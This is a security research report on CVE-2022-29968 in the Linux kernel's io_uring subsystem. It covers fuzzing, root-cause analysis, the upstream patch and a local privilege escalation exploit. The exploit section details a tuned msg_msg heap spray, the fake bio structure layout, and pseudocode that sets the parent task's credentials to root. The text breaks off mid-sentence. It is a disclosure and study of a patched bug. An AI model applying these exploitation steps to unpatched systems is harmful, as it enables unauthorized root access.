
1 Introduction

One of the world’s most highly valued targets in computer hacking is the Linux kernel. A Linux kernel 0 day
that allows an attacker to execute arbitrary kernel code and elevate their privileges to root is one of the most
serious security issues imaginable. As the Linux kernel backs the vast majority of services on the Internet, it
serves as the de facto root of trust for most of the world [15]. Even a mild security issue in the kernel, requiring
very specific conditions to exploit, is extremely serious. Of course, being such a widely studied and analyzed
target, exploits in the kernel are very far from trivial, and are quite hard to come by.

In this report, we will introduce the Lord Of The IO Urings attack against the Linux kernel (assigned CVE-
2022-29968), which is a new Linux kernel 0 day we discovered and exploited. We will provide background on
how we discovered it, patched it, exploited it, and then perform an analysis of how bug finding techniques can
be improved for the next decade of kernel security research. The crash was found with Syzkaller. Joseph and
Michael analyzed the crash together, and Joseph wrote the exploit.

2 Background

2.1 Linux Kernel CVEs

A CVE (Common Vulnerabilities and Exposures) number is a unique identifier that tracks a particular security
issue [26]. Our exploit’s CVE number is CVE-2022-29968.

In 2021, there were a total of 159 Linux kernel CVEs, 11 of which led to code execution [2]. In addition,
Google offers up to $91,337 for a full container escape on their Kubernetes clusters [30]. We are the 86th CVE
awarded in the Linux kernel in 2022. We were awarded a CVSS score of 7.8 (“high” risk level) by the National
Vulnerability Database (NVD) [22].

2.2 io uring

The io uring subsystem is a Linux kernel system call interface that allows for asynchronous IO operations
[4, 11, 19, 28]. It was initially developed by Jens Axboe at Facebook. There are two ring buffers shared between
kernel and user space, one for submission of requests and one to inform users of the completion of requests.
A user can submit system calls to the submission queue, inform the kernel that a system call has been added
to the submission queue. The kernel then processes requests that have been submitted and adds them to the
completion buffer.
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2.3 Block Devices

A Block Device is a Linux abstraction around a particular kind of device. In general, block devices are devices
whose information can be accessed in any order and whose data is organized in fixed-size blocks. Floppy disks
and CD-ROMs are examples of block devices [20, 23].

2.4 Kernel Exploit Mitigations

We will refer to several kernel exploit mitigations throughout our description of our attack proof of concept.

KASLR. Kernel Address Space Layout Randomization (KASLR) [12] is a mitigation which randomizes all
addresses in the Linux kernel at boot time. It can be thought of as an extension of ASLR to the kernel. A
kASLR bypass is a primitive which leaks a kernel pointer.

SMAP/SMEP. Supervisor Mode Access Protection (SMAP) [10] marks all userland pages as non-accessible
when the processor is in kernel mode, meaning that the kernel cannot read or write any userland memory. Su-
pervisor Mode Execution Protection (SMEP) [5] marks all userland pages as non-executable when the processor
is in kernel mode. With SMAP/SMEP enabled, the kernel cannot read, write, or execute userspace pointers
except through well-defined interfaces (making exploitation much harder).

2.5 Syzkaller

Syzkaller is a suite of kernel fuzzing utilities developped by Google [16, 24]. Syzkaller can be used for fuzzing
various kernels across various architectures. We used Syzkaller to fuzz the Linux kernel on x86 64. We did
not target any system in the kernel in particular, however, we built the kernel with a minimal configuration
designed to increase fuzzing speed with the bare minimum set of features required to provide coverage feedback.
We ran each fuzzing VM with 2 virtual cores to try and hit race conditions between cores.

Syzbot [17] is a service maintained by Google that fuzzes many different operating systems with an enormous
amount of compute power. One of our worries while doing this project is that while we were working on our
exploit, Syzbot would independently reproduce our crash, and someone else would beat us to completing the
exploit. Luckily for us, we were first to report this bug.

3 Fuzzing

We ran multiple Syzkaller instances on commit b08968f196d4, version 5.17-rc7. Our main server (that found
the crash we ended up exploiting) belongs to TechSec [7] and has 24 cores and 32GB of RAM. The server
was purchased used for $400. We found many crashes, but focused on 12 of them. Specifically, we focused
on different kinds of KASAN crashes with bio poll and iocb bio iopoll in their backtraces. These crashes
seemed particularly appealing as they seemed to be a clear-cut use after free. However, as we discuss in Section
4, this ended up not being the case.

3.1 KASAN

The Kernel Address Sanitizer (KASAN) is a dynamic memory error detector that is commonly used for finding
memory errors (such as use after free bugs and null pointer dereferences) [3]. The KASAN crashes we focused
on were variants of one of the following five crash categories: General Protection Fault, Use After Free, SLAB
Out-Of-Bounds, NULL Pointer Dereference, and Wild Memory Access.

3.2 The First Crash

We focused on the crashes in bio poll and iocb bio iopoll. These are functions which poll for block I/O
completions in the block I/O layer during asynchronous I/O operations, and are called during io uring cleanup
by our reproducer. Listing 1 provides a sample crash stack trace.
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Listing 1: A sample crash stack trace� �
1 bio_poll+0x2c7/0x330 block/blk-core.c:980

2 iocb_bio_iopoll+0x77/0xb0 block/blk-core.c:1035

3 io_do_iopoll+0x256/0xe30 fs/io_uring.c:2629

4 io_iopoll_try_reap_events+0xa4/0xf6 fs/io_uring.c:2683

5 io_ring_ctx_wait_and_kill+0x15f/0x27e fs/io_uring.c:9675

6 io_uring_release+0x42/0x46 fs/io_uring.c:9692

7 __fput+0x21e/0x940 fs/file_table.c:317

8 task_work_run+0xe1/0x180 kernel/task_work.c:164

9 exit_task_work include/linux/task_work.h:32 [inline]

10 do_exit+0x979/0x2730 kernel/exit.c:806

11 do_group_exit+0xb5/0x2a0 kernel/exit.c:935

12 get_signal+0x382/0x1ca0 kernel/signal.c:2863

13 arch_do_signal_or_restart+0x2f8/0x17b0 arch/x86/kernel/signal.c:868

14 handle_signal_work kernel/entry/common.c:148 [inline]

15 exit_to_user_mode_loop kernel/entry/common.c:172 [inline]

16 exit_to_user_mode_prepare+0xe8/0x150 kernel/entry/common.c:207

17 __syscall_exit_to_user_mode_work kernel/entry/common.c:289 [inline]

18 syscall_exit_to_user_mode+0x1d/0x40 kernel/entry/common.c:300

19 do_syscall_64+0x48/0x90 arch/x86/entry/common� �
3.3 The Reproducer

Syzkaller outputs a reproducer written in C which replicates the crash. However, the majority of the reproducer
we generated included code that was not necessary to trigger the bug. This added complexity made under-
standing the reproducer quite difficult. See Figure 6 in the Appendix for part of the original reproducer. One
of our first steps was to reduce the extraneous code in the reproducer and rename constants to variables. Part
of our cleaned up reproducer can be seen in Listing 7 in the Appendix. This reproducer could reliably crash the
latest version of the Linux kernel at the time. Armed with our minimized reproducer, we continued analyzing
the crash to determine the root cause.

4 Analysis

Below is a summary of the strategies we used to debug the kernel and understand the crash.

GDB-GEF + QEMU. GDB-GEF [6] is a plugin for GDB which provides additional features to assist dynamic
analysis and exploit development. QEMU [8, 9] is a full system emulator which can be used to quickly run
different kernel versions. GDB can attach directly to QEMU and allows for easy dynamic analysis of the kernel.

Ftrace. ftrace (Function Tracer) [29] is a tracing framework for the Linux kernel that can record information
related to different function calls while the kernel is running. We used ftrace to trace all io uring methods
related to our crash. As ftrace has difficulty tracking individual objects within a function’s lifetime, we found
supplementing ftrace with strategic printk’s was quite useful for quickly understanding what a particular
function was doing as part of the greater crash.

Instrumentation. One of the most useful techniques was using printk statements at various parts of the
kernel to trace object allocations and which objects get used where.

SLUB debugger. The SLUB debugger allows the kernel to insert constants into SLUB allocated objects (eg
0x6B6B6B6B for freed memory) [1]. This allowed us to perform lightweight experiments with a degree of address
sanitization without using KASAN (which crashes immediately upon detecting a memory issue). This allowed
us to get further into the crash case and see where the invalid data is actually being used.

Git Bisect. Using git bisect, we isolated the crash to 3e08773c3841 ("block: switch polling to be

bio based"). Performing the bisect took 19 steps and we ran them all by hand. Having the exact commit that
caused the crash was incredibly useful, as we were able to isolate the crash to something related to how io uring

interacts with the block system (as opposed to something else in the 11,000+ lines of code in io uring).

Static Analysis. In addition to dynamic instrumentation, we also analyzed the kernel code statically. This
process was quite arduous, and we believe care should be taken to supplement all static analysis with a degree
of experimentation. We found the best way to understand how a part of the system behaves is to run it!
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4.1 Root Cause Analysis

Determining the root cause from the crashes was quite challenging. We initially believed the bug to be a Use
after Free (UaF), where a struct io kiocb was being used after being freed. Inserting printk statements
at all places struct io kiocb’s can be allocated/ freed, as well as at the location of use, showed us that the
io kiocb’s that were causing crashes were freshly allocated and never freed. Additionally, the existence of
crashes where the UaF object was part of a different cache than the io kiocb cache implied that something
other than a UaF was going on. Uninitialized memory pointing to recently freed objects would explain these
unrelated UaF crashes.

We knew from reading the code that the crash involved incorrect information in io kiocb.rw.kiocb.private

(which later becomes the bio used in iocb bio iopoll), however we weren’t sure where the corruption was
coming from. To trace this, we patched the io kiocb creation code to only create one request object. This
made it simpler to trace, as the single allocation would be reused between requests. We then set a watchpoint on
its rw.kiocb.private field to see which parts of the kernel read/ write to this value. As the struct io kiocb

consists of a massive union of various structures, and is cast between different objects all over the place, tracing
exactly what writes to the private field was difficult. We also set breakpoints at io kiocb creation and
destruction. We found that between object creation and use of the private field, nothing seemed to be writing
to it.

The io uring system makes use of a free list of recently “freed” struct io kiocb’s, so that objects can be
recycled without going to the allocator. We believe this free list was responsible for much of the confusion we
experienced in parsing the various crashes and performing various experiments.

After observing crashes in which ASCII data was encoded within the kiocb->private field, we realized that it
was highly likely the private field was not being initialized. We set kiocb.private to NULL in io preinit req

(which is called after creating a new io kiocb) and found that the reproducer was no longer able to cause kernel
panics (bio was always set correctly), proving that the real issue was uninitialized memory.

5 Upstreaming a Patch

Our initial patch submitted to the io uringmaintainers fixed the uninitialized memory issue by setting private
to NULL in io prep rw. We reasoned that io prep rw was the best place to initialize all fields used by the rw

flavor of io kiocb as it is called during object initialization (and prevented the reproducer from working).

We received feedback from Jens Axboe, the author of io uring, that a better place to set this was in
IORING SETUP IOPOLL init. So, we moved the patch to the part of io rw init file that handles setting
up IOPOLL-enabled requests. This version of the patch was accepted upstream as 32452a3eb8b6 ("io uring:

fix uninitialized field in rw io kiocb").

6 Attack

Now that we had isolated the issue and upstreamed a patch fixing it, we moved on to exploiting the bug. We
began with the hand-optimized Syzkaller reproducer. This reproducer can reliably trigger the uninitialized
memory code path, calling iocb bio iopoll (in block/blk-core.c) with the kiocb->private field uninitial-
ized. The reproducer follows the standard Syzkaller procedure of launching two threads– a child thread that
executes one iteration, and a parent thread that waits for the child process to terminate.

Our attack operates in two phases. The first phase consists of a kernel heap spray that sprays pointers to the
fake struct bio we want to put into kiocb->private. The second phase consists of triggering the reproducer
with a fake struct bio containing our payload.

As we do not assume we have a kASLR bypass, we place the executable payload and fake struct bio in
userspace, and assume SMAP/SMEP are disabled (so the kernel can execute payloads stored in userspace).
With a kASLR bypass, we could store the fake struct bio in the kernel heap (using either userfaultfd or IPC
message spray techniques) and use well-studied code reuse techniques such as a stack pivot + ROP to build an
execution chain.
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6.1 The io kiocb object

The uninitialized field lives within the io kiocb object used to track io uring requests. A kiocb is a “kernel IO
callback”, and an io kiocb is the io uring wrapper around a kiocb. io kiocb’s first field is a massive union
for the possible request types. One of the entries in the union is a struct io rw which contains a kiocb object.
The rw flavor of request is used for file IO, which is what our attack uses (IORING OP READ). The kiocb.private
field is the uninitialized field (left uninitialized after constructing an io kiocb in io init req). The private

field lives at an offset of +0x18 bytes from the base of the struct io kiocb. This is important as our heap
spray will need to control offset +0x18 from the base of the object1.

6.2 The Kernel Heap

The Linux kernel memory allocator system provides a high level allocator (the SLUB allocator) on top of a low
level page allocator (the buddy allocator). In short, kernel heap objects belong to caches. Each type will belong
to a particular cache. kmalloc places objects into the generic caches (eg kmalloc-2k), which are available for
any object of a particular size. A dedicated cache can be created for a particular object, which can be used
by the kmem cache alloc family of methods. Each cache contains a chunk of pages (provided by the buddy
allocator) which are where the objects for that cache are placed. What this means practically for us attackers
is that two objects A and B that belong to different caches can never be placed at the same address (as each
cache has its own set of pages where objects can be allocated).

The io kiocb type (the object containing the kiocb we are attacking) is allocated in a dedicated io kiocb

cache. This rules out the possibility of spraying objects into the same cache and later hoping that a new
io kiocb will reuse the previously allocated memory. In order to control the contents of an object in the
io kiocb cache, we will need to poison the pages in the buddy allocator before the io kiocb cache allocates
any pages.

Luckily for us, io kiocb’s are allocated in bulk using the kmem cache alloc bulk method. If no io kiocb’s
have been created so far, this call will request a brand new page from the buddy allocator. As we can control
when this allocation occurs, we can pre-poison the buddy allocator pages, and then later trigger a bulk allocation
which will request a new page from the buddy allocator (hopefully containing our malicious spray content at
the correct location).

6.3 Heap Spray

Our goal with heap spray is to allocate a large number of kernel pages, fill them up with pointers to our fake
struct bio, and then release them to the buddy allocator. Later, one of the pages we just freed will become
the page given by the buddy allocator to the io kiocb cache. There are a few challenges associated with doing
this practically and reliably. First, we need to find a code path in the kernel that allows us to allocate an object
satisfying the following properties:

• The object contents are (mostly) controlled by the attacker.

• The lifetime is controlled by the attacker.

• The object lives in a low-noise cache.

For our spray primitive, we do not need to target a particular allocation size or cache, as long as the usage of
the cache we occupy is low. This is so that there is a high likelihood that when we free all of our objects, the
page will be returned to the system for reuse later. If we end up in a cache that has a high level of usage, it is
likely that uncontrolled objects will be placed in our page between sprayed objects, fragmenting the page and
possibly preventing it from being returned to the system when we free the attacker objects.

For this same reason, the objects must have a lifetime controlled by the attacker. This is so that we can prevent
self-contention by holding onto allocated objects for long enough for the spray to complete. We want to keep the
objects we have already allocated in-memory long enough for every worker thread to finish spraying. Otherwise,
if some threads freed their objects before other threads could allocate their objects, the newly sprayed objects
would simply overwrite previous allocations, and our spray would not hit as many pages as we could. Figure 1
provides an overview of our heap spray approach.

1struct io kiocb is 224 bytes large in the version of the kernel we fuzzed on.
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Figure 1: Overview of our approach to spraying the kernel heap for uninitialized memory.

Once many pages are filled up with attacker controlled objects, all worker threads should release the sprayed
objects and exit at the same time. Again, this provides the greatest chance that no other objects are placed
into our sprayed pages while we are exiting, and gives us the greatest chance of merging the freed pages inside
the buddy allocator for future allocations [18].

The other challenge associated with heap spray is controlling object contents. Some code paths through the
kernel allow some parts of an object to be controlled, but not all parts. As we are targeting a very particular
field in the kiocb, we want to ensure that the attacker is able to control the private offset (at +0x18 bytes)
inside of the sprayed object. We do not care about controlling any other fields.

Our heap spray must satisfy different considerations than most UaF heap spray techniques commonly used in
kernel exploitation (specifically for race conditions). A typical heap spray attempts to contend with a particular
cache and overwrite an object that is being used after being freed with attacker controlled data. As we are
targeting the underlying page allocator instead of the high level kmem object allocator, we need to adjust
our spray parameters. Namely, we need to ensure massive amounts of objects are allocated as tightly packed
together as possible, and need to hit enough pages such that the buddy allocator joins the pages together and
returns one of them to the next kmem page request. Our spray technique need not be precise, so long as it is
able to spray a huge number of objects quickly with minimal overhead.

Several well-known methods for spraying objects in the kernel heap exist [27]. We implemented our own version
of two of these approaches, namely the userfaultfd and IPC message approaches, with our implementations
tuned to the exact requirements of our kernel spray.

6.3.1 userfaultfd + setxattr

Our first approach was to use userfaultfd with setxattr [27, 32]. As the private field is very close to the
beginning of the object in question (at +0x18 bytes), we wanted to start with the spray technique that gave us
complete control of the entire beginning of the object. userfaultfd is a kernel feature that allows page faults
to be handled in userspace.

The idea behind this approach is to set up the attacker controlled data across two mapped pages, where the
first page is present in memory, and the second is not. When the second page is accessed, a page fault will
occur, and the kernel will hand control over to userspace. Normal userfaultfd programs will handle the page
fault, allowing whatever was trying to access the page to continue. Instead, we will have the entire thread go
to sleep, which essentially pauses the consumer of the page. This allows us to pause the kernel halfway through
whatever it’s doing.

We use the setxattr system call as our target endpoint. Normally, setxattr will call kvmalloc to create an
object whose size the user controls. Next, it will call copy from user to copy an entire user controlled buffer
into the newly allocated memory. Finally, it will do some processing with that data, and then free it before
returning. There is no direct code path to make this object persist past the lifetime of the function. As we
need to have many objects in memory at once to maximize the number of pages we spray, setxattr as it was
written does not provide a primitive for our heap spray.

However, by combining userfaultfd and setxattr, we can make the attacker controlled buffer lie on a page
boundary such that a page fault will be encountered halfway through copy from user, which will allow us to
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pause the thread, keeping the object allocated for as long as we like. Figure 2 shows the control flow of setxattr
with and without userfaultfd faults.

Figure 2: setxattr control flow with and without userfaultfd faults

We both wrote our own implementation of this technique and tried one created by another researcher [32]. We
found that in both cases, the overhead of launching one thread per object, mmap’ing two pages, and installing
a userfaultfd handler caused a large amount of noise in the kmem caches. This resulted in a large degree of
fragmentation inside of our spray caches, and made it harder for us to return pages to the buddy allocator.
Additionally, we were unable to get this method to spray in the quantity needed to fill up a lot of pages.

As the upper limit on strings passed to setxattr is extremely large, we experimented with passing massive
single buffers to setxattr and freeing them. However, we found that this technique did not ever overlap with
pages returned by the buddy allocator for use by the io kiocb cache. We believe this is due to larger allocations
directly grabbing pages instead of passing through the buddy allocator, and different free pages being passed
back via the buddy allocator when the next allocation request happens, although we did not investigate this
further. Our next technique was significantly more effective, negating the need to fiddle with large setxattr

allocations.

We conclude that the userfaultfd technique is likely useful when an entire object in a generic kmalloc cache
needs to be controlled, but this technique is poor for manipulating the underlying page allocator.

6.3.2 IPC Messages

Another commonly used kernel heap primitive is the inter-process communication API msgsnd. msgsnd allocates
a message in a message queue that will last until it is received with msgrcv. While this approach gives us objects
whose size and lifetime we control, we do not control the entire contents of the msg msg. The first part of each
message is occupied by the 48 byte2 message header which we have no control over. As this header overlaps
with the private field at +0x18 bytes for an aligned allocation (assuming the spray object and the io kiocb

are aligned to the same address), we needed to be careful with how we sprayed our objects.

Through experimentation, we found that requesting messages of 120 bytes (168 byte requests passed to kmalloc,
including the msg msg header) resulted in the highest chance that our spray contents would end up in the
io kiocb (which is 224 bytes on our testing kernel). Our 168 byte allocation requests end up occupying the
kmalloc-192 cache (as 168 bytes is rounded up to the nearest available general purpose cache, which is the
cache for 192 byte sized objects). We found that this size was optimal for creating overlapping objects with the
io kiocb allocations that our reproducer triggered. Figure 3 shows a memory trace immediately after a crash
where the spray was successful.

To create Figure 3, we sprayed the value 0x4141414141414141. We then traced every msgsnd allocation created
during our spray attempt, and finally ran the exploit. We observed a general protection fault from trying to
access 0x4141414141414149 (this happens when iocb bio iopoll does bio->bi bdev, as bi bdev is at offset
+0x08 bytes into bio).

0xffff8880079ca180 belongs to the nearest msg msg that landed near what eventually became our io kiocb.
The io kiocb begins at 0xffff8880079ca200. We observe a comfortable overlap between the message contents
and the io kiocb, as the message is aligned to a different address than the io kiocb. Since the objects
are misaligned, the msg msg header is not an issue, and the overflow contents are reliably inserted into the
io kiocb.rw.kiocb.private field (again, which later becomes the address of the bio used in iocb bio iopoll).

2sizeof(struct msg msg) == 48 in our kernel. This size was also confirmed by tracing the kmalloc call made by alloc msg.
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Figure 3: Showing the overlap between a sprayed message and a io kiocb.

Our message spray approach uses NUM WORKERS worker pthreads, where each worker thread performs the fol-
lowing:

1. Sends MSGS PER WORKER messages with msgsnd.

2. Sleeps for a few seconds.

3. Receives all the messages it sent with msgrcv.

We carefully tuned the parameters to achieve the best results in our VM, and found the optimal number of
worker threads to be 120, and the optimal number of messages per worker to be 30. Each worker thread sleeps
between allocations and frees to give the other worker threads time to complete their sprays (to eliminate
reallocations). We found that using a simple sleep was sufficient to make our exploit reliable without the need
for any synchronization between the workers.

6.4 Payload

Now that we can reliably overwrite the private field, we need to construct an object to point to that can
trigger code execution in the kernel. Listing 2 shows how the block system uses the bio struct once the iopoll
handler is called from io uring.

Listing 2: How the bio object is used.� �
1 int bio_poll(struct bio *bio, struct io_comp_batch *iob, unsigned int flags) {

2 struct request_queue *q = bdev_get_queue(bio->bi_bdev);

3 blk_qc_t cookie = READ_ONCE(bio->bi_cookie);

4 int ret = 0;

5

6 if (cookie == BLK_QC_T_NONE ||

7 !test_bit(QUEUE_FLAG_POLL, &q->queue_flags))

8 return 0;

9

10 blk_flush_plug(current->plug, false);

11

12 if (blk_queue_enter(q, BLK_MQ_REQ_NOWAIT))

13 return 0;

14 if (queue_is_mq(q)) {

15 ret = blk_mq_poll(q, cookie, iob, flags);

16 } else {

17 struct gendisk *disk = q->disk;

18

19 if (disk && disk->fops->poll_bio)

20 ret = disk->fops->poll_bio(bio, iob, flags);

21 }

22 blk_queue_exit(q);

23 return ret;

24 }� �
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Notice that on line 20, a code pointer controlled by the attacker is read and executed. Our exploit payload
must construct a fake bio struct such that bio poll executes line 20 with the attacker controlled definition of
fops->poll bio.

We start by allocating a chunk of memory at a fixed constant virtual address in userspace. Since our spray
requires an address as the first step (we found no way to leak a kernel pointer with this bug alone), we assume
that SMAP/SMEP are disabled, and thus we can use userspace objects in the kernel. If an attacker had a
kASLR leak, they could use that here instead (by allocating an object in the kernel heap and spraying pointers
to that object instead).

We constructed a bio that passed all the checks by viewing the disassembly of bio poll and manually filling
in the required memory addresses in the mmap region representing the fake bio struct. In short, the following
conditions must be satisfied:

• bio->bi bdev points to our fake bdev

• bio->bi bdev->bd queue points to our fake request queue

• bio->bi bdev->bd queue->disk points to our fake gendisk

• bio->bi bdev->bd queue->disk->fops points to our fake virtual function table

• Our fake virtual function table’s poll bio method points to our payload to execute (in userspace exe-
cutable memory)

• bio->bi cookie != BLK QC T NONE

• bio->bi bdev->bd queue->queue flags == QUEUE FLAG POLL (0x10000)

Mechanically satisfying these conditions is difficult as porting complete struct definitions into userspace for
various kernel objects requires tracking down a large number of header dependencies. We found it quicker to
simply analyze the assembly and write directly into the userspace mmap region as a byte array at particular
offsets. Now that our fake bio is created and resolves to a fake virtual function table, we need to construct a
payload to execute.

The kernel will call our payload following the C ABI for a method with the same signature as poll bio. We do
not care about the arguments, nor do we care about the kASLR slide, as our payload is address independent.
Listing 3 shows a snippet from a GDB session as the kernel enters our payload method. Note that the processor
cs register contains a value whose lower 2 bits are 0– this means the CPU is operating in ring 0 (kernel mode)
[21]. However, the code being executed is attacker code. The core is running attacker controlled userspace code
with kernel privileges.

Listing 3: GDB session showing executing the user payload with kernel CPL� �
1 (gdb) x/4i $pc
2 => 0x401cb5: endbr64

3 0x401cb9: push rbp

4 0x401cba: mov rbp,rsp

5 0x401cbd: mov QWORD PTR [rbp-0x28],rdi

6 (gdb) p/x $pc
7 $6 = 0x401cb5

8 (gdb) p/x $cs
9 $7 = 0x10� �

Now, all that remains is elevating the privileges of our current task to root to achieve local privilege escalation.
There is one problem, however. The call trace that triggered the execution of userspace code is a consequence
of the exploit’s child process attempting to quit. Listing 4 shows the backtrace at the payload entrypoint.
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Listing 4: Backtrace at payload entry.� �
1 (gdb) bt

2 #0 0x0000000000401cb5 in ?? ()

3 #1 0xffffffff81439c23 in bio_poll (bio=0x30000000, iob=iob@entry=0xffffc900001d7db0, flags=

flags@entry=3) at block/blk-core.c:966

4 #2 0xffffffff81439c87 in iocb_bio_iopoll (kiocb=0xffff8880078f8200, iob=0xffffc900001d7db0, flags

=3) at block/blk-core.c:1008

5 #3 0xffffffff81298121 in io_do_iopoll (ctx=ctx@entry=0xffff88800785a800, force_nonspin=

force_nonspin@entry=true) at fs/io_uring.c:2779

6 #4 0xffffffff81c536c9 in io_iopoll_try_reap_events (ctx=ctx@entry=0xffff88800785a800) at fs/

io_uring.c:2834

7 #5 0xffffffff81c538af in io_ring_ctx_wait_and_kill (ctx=ctx@entry=0xffff88800785a800) at fs/

io_uring.c:10177

8 #6 0xffffffff81c53941 in io_uring_release (inode=<optimized out>, file=<optimized out>) at fs/

io_uring.c:10195

9 #7 0xffffffff81235f9c in __fput (file=0xffff88800786ea00) at fs/file_table.c:317

10 #8 0xffffffff8109237f in task_work_run () at kernel/task_work.c:164

11 #9 0xffffffff8107453b in exit_task_work (task=0xffff888007893a00) at ./include/linux/task_work.h

:37

12 #10 do_exit (code=code@entry=0) at kernel/exit.c:795

13 #11 0xffffffff81074dfd in do_group_exit (exit_code=0) at kernel/exit.c:925

14 #12 0xffffffff81074e74 in __do_sys_exit_group (error_code=<optimized out>) at kernel/exit.c:936

15 #13 __se_sys_exit_group (error_code=<optimized out>) at kernel/exit.c:934

16 #14 __x64_sys_exit_group (regs=<optimized out>) at kernel/exit.c:934

17 #15 0xffffffff81c9d01b in do_syscall_x64 (nr=<optimized out>, regs=0xffffc900001d7f58) at arch/x86/

entry/common.c:50

18 #16 do_syscall_64 (regs=0xffffc900001d7f58, nr=<optimized out>) at arch/x86/entry/common.c:80

19 #17 0xffffffff81e0007c in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:115� �
Instead of trying to elevate the privileges of the currently executing (soon to be dead) thread, we elevate the
privileges of the parent thread. Then, we modify the reproducer to first try and run a shell before spawning a
new child worker thread. If the shell does not grant root privileges, the user can simply detach from the new
shell to cause the parent thread to resume and attempt to execute the exploit again.

Our payload must be address independent (as we assume we do not have a kASLR leak). To do this, we read
the task struct from the gs segment3. Listing 5 provides an overview of this payload in pseudocode.

Listing 5: Our payload to elevate the parent task’s privileges to root� �
1 # Find parent creds pointer from the gs segment

2 current_task = load(gs:0x1AD00)

3 parent_task = load(current_task + 0x578)

4 creds_ptr = load(parent_task + 0x728)

5

6 # Set privileges to root

7 creds_ptr->uid = 0

8 creds_ptr->gid = 0

9 creds_ptr->suid = 0

10 creds_ptr->sgid = 0

11 creds_ptr->euid = 0

12 creds_ptr->egid = 0

13

14 # Return value for fake iopoll should indicate failure

15 return -1� �
If everything worked, when the payload completes, the child thread will quit and the parent thread will be
elevated to root privileges.

6.5 Reliability

We found that the heap spray succeeds a good proportion of the time. We did not conduct a formal investigation
into the success rate of the exploit, however, we observed we can reliably trigger it on a non-KVM Busybox

3On x86 64, segmentation is disabled, save for the fs and gs segments. The gs segment is commonly used for storing per-core
data, such as the task struct for the currently running task.
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single-core Qemu VM with a low amount of memory. On failure, the exploit tends to panic the kernel, so failed
attempts would be easy to observe by a system administrator. With further tuning, we suspect our attack’s
success rate can be increased further to near perfection.

7 Affected Versions

Any kernel after 3e08773c3841 ("block: switch polling to be bio based") and before 32452a3eb8b6

("io uring: fix uninitialized field in rw io kiocb") should be vulnerable to this. We tested on a
variety of kernels throughout our exploit development. We have confirmed that 3c76fe74368b is the last
commit vulnerable to our attack (as it is the last commit before our patch).

7.1 Exploitability

Multiple preconditions must be satisfied in order for our exploit chain to work. Namely, multiple exploit mit-
igations in the Linux kernel must be disabled for our proof of concept attack to work. An attacker with a
kASLR leak could likely construct a different attack that can function in the presence of these mitigations. For
our proof of concept attack, we assume we cannot bypass kASLR, and that SMAP/ SMEP are disabled. In
addition, we require a block device on the machine in order to call the bio poll function. We use the /dev/sr0
block device, which is the SCSI CD-ROM device. We believe our exploit could be made to work with any block
device (including a user-mounted FUSE filesystem device), however we use /dev/sr0 for simplicity in our proof
of concept attack4.

In the spray step of the attack, we sprayed pointers to a fake bio object. We have two options for where to
put this object- in the kernel heap (works with SMAP/SMEP), or in userspace (assuming SMAP/SMEP are
off). Our proof of concept attack placed it in userspace, however, an attacker could also use the kernel heap if
they know where the heap is. Placing the bio in the kernel heap requires a kASLR bypass in order to know
what address to spray. We assume we have no kASLR bypass, but SMAP/SMEP are disabled, so we place our
object in userspace.

7.2 Test Environment

We performed all of our testing in a non-KVM Qemu virtual machine5. Our VM used 128 Megabytes of memory
(as we found that using less memory forces the buddy allocator to be more aggressive in its page reuse, increasing
the spray success rate). Our VM is a single core machine. As the kernel memory caches use extensive amounts
of per-CPU storage, we reasoned that a single core machine would be more reliable to run experiments on.
We alternated between testing in the Syzkaller Debian Stretch environment and a manually-built Busybox [31]
environment using initramfs. The Busybox environment provided extremely little noise, increasing the signal
to noise ratio of various experiments (such as ftrace traces).

7.3 Scaling

While we do not believe access to /dev/sr0 is a strict requirement to exploit this bug, we checked to see if
it was available on common platforms. We found that /dev/sr0 exists and is readable/writable by the cdrom

group in Ubuntu 20.04, 18.04, 16.04, and 14.04 on VMWare Workstation. We also found that an Ubuntu VM
created under ESXi had /dev/sr0 present and marked as read/ write for the cdrom group, of which the default
user account was a member of. We found that by default users are part of the cdrom group and have read/write
access to /dev/sr0. We have tested our full chain exploit in QEMU using the latest Linux Kernel (5.18–rc4
at the time of writing). We have confirmed that the bug occurs in Ubuntu 20.04, and is also triggerable from
within a Docker container6.

We have only shown arbitrary code execution to work reliably under Busybox, however, there is no reason the
attack could not be tuned to work on other Linux platforms running a vulnerable kernel.

4We make this claim as our io uring calls only require a file descriptor for which IOPOLL is supported, which is true for block
devices. Nothing about the CD-ROM is special in that regard, so we conclude it is likely possible for other block devices to work.
However, we have not tested this hypothesis.

5Note that the exploit test environment is different from the environment used by Syzkaller fuzzing virtual machines.
6Where a CD-ROM is attached with a command line flag.
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8 Conclusion and Takeaways

We tried to apply our lessons learned from fuzzing to analyze how future fuzzers and kernel tooling can be
improved. Previous works have studied how to improve the performance of Syzkaller [24]. We wanted to focus
less on the raw performance of the fuzzer, and more how to minimize human effort required to turn crashes
into CVEs. Figure 4 provides a graph plotting the level of effort required to use/ enable a particular feature
against how useful it ended up being towards the final attack. Many avenues we investigated ended up being
dead ends. We want to focus on what techniques we found effective, and investigate how to improve them.

Figure 4: Various techniques we tried, level of effort plotted against utility towards the project.

Improving the reproducer. The reproducer produced by Syzkaller was extremely hard to read, and could
be improved. Many system calls involved writing magic numbers into magic addresses. The fuzzer clearly
understands the semantics of the io uring system calls, so the reproducer could be updated to reflect that
understanding. Instead of writing directly to memory addresses, the reproducer could construct structs by name
and show which flags are being written symbolically. The fuzzer itself could have a feature to automatically try
and remove random lines to see which parts of the reproducer were absolutely necessary to trigger the bug.

Object tracing semantics are needed. The kernel has no easy way to trace individual allocations through
all the various casts and re-casts. As our buggy object (struct io kiocb) consisted of a large many-field union

with casts all over the place, it was quite hard tracking the producers and consumers of the value we wanted
to trace. An ftrace-like tracing utility for inserting dynamic watchpoints could vastly improve the debugging
experience. One of the techniques we used was changing variable names in header files and recompiling the
kernel to find all uses of a field (by watching to see where errors occur). This was only needed for very generic
names that couldn’t be traced with ctags or grep. Better static analysis tooling could also help in this regard.

Targeted fuzzing is difficult. Currently, it is difficult to direct Syzkaller towards a particular function or
subsystem. The io uring subsystem is still relatively unexplored, and likely has other bugs we haven’t found. It
would be nice if we could more easily direct Syzkaller to prioritize inputs that trigger functions in this subsystem.

8.1 Lessons Learned

A common misconception that we held is that “fuzzing the kernel with basic resources will not reveal bugs, as
the kernel has been fuzzed to death.” Clearly, that is not true for Linux. The kernel state space is so large
that with only a few hundred dollars of equipment, individual researchers can discover new bugs. We fuzzed
on both the cutting edge kernel, as well as an official release, and found way more bugs (including the Lord of
the io urings bug) on the cutting edge kernel build. From our experiences, we believe that fuzzing on the very
latest kernel commit is ideal, newer features have had less time to be tested. Targeted fuzzing would be quite
